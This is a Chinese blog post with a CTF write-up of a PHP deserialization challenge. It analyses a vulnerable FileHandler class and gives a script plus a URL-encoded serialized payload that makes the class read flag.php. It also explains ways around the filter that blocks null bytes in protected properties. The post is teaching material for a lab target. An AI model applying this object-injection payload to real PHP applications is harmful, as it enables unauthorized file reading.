首页 > 技术文章 > 一道php反序列化题

xiaoxiaosen 2020-05-11 22:36 原文

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

拿到题目是这样一段代码,开始分析。

反序列化题目大概的重点是两个,一个是属性值可以修改,一个是魔术方法 __destruct 和 __wakeup。从这两个开始入手。

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

首先找到__destruct()开始分析,当op值为2时,将op值变为1。

这里需要注意的是===全等符,==="2"这个2被包裹在双引号中,表示一个字符。

content这个属性的值是置为""的。

接着看向process()方法。

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

当op属性值为1时,执行write()方法。

  private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

如果设置了filename和content,判断content内容>100则输出Too long;能写入文件中的话,则输出Successful;否则输出Failed。

但是由于content这个属性的值是置为""的,所以无论我们输入什么内容,都会被置为"",这是我们不可控的,那么写一句话之类的是没有用的,也就是说wirte()这个方法对我们拿到flag没有用,不用看他。

回到process()方法接着往下看。

else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }

 

当op属性值为2时,执行read()方法。并输出$res的值。

 private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

首先判断了是否设置filename,如果设置有的话,则将文件中的内容读取出来赋给$res。最后$res这个值是会被输出的。

代码一开始就提示了flag所在文件为flag.php,所以filename的值应该是flag.php。

编写

<?php

class FileHandler {

  public $op;
  public $filename;
  public $content;

  function __construct() {
  $this->op = 2;
  $this->filename = "flag.php";
  }
}
  $obj = new FileHandler ;
  echo urlencode(serialize($obj));
?>

输出payload:O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D

这里进行了一个url编码,以防有些字符显示问题。

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

最后将得到的payload传入参数即可得flag。

这道题还有一个考点:

    protected $op;
    protected $filename;
    protected $content;

题目开始定义属性是用的protected,如果我们用这个编写payload的话得到的是

 

 

 会发现多出了%00,但是因为源码中有这样一串代码

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

会递归判断传入的str是否在ascii码32-125之间,%00为0,是不存在的,所以这里需要绕过protected。

第一种办法就是将protected改为public,但是这只适用php版本大于等于7.2的。

第二种办法是将属性的s改为S

 

 

protected  就是修改成 \00*\00,其实就是 protected 的属性 ,他是 %00*%00op 。但是%00这种字符我们是看不见的。所以浏览器输出就是 *op

private 就是修改成 \00类名\00

修改后为

 

 

 

 

总结:在看源码时先找到入口,看代码一步一步分析,属性是可构造的,要明白我们想要得到的结果是什么。

推荐阅读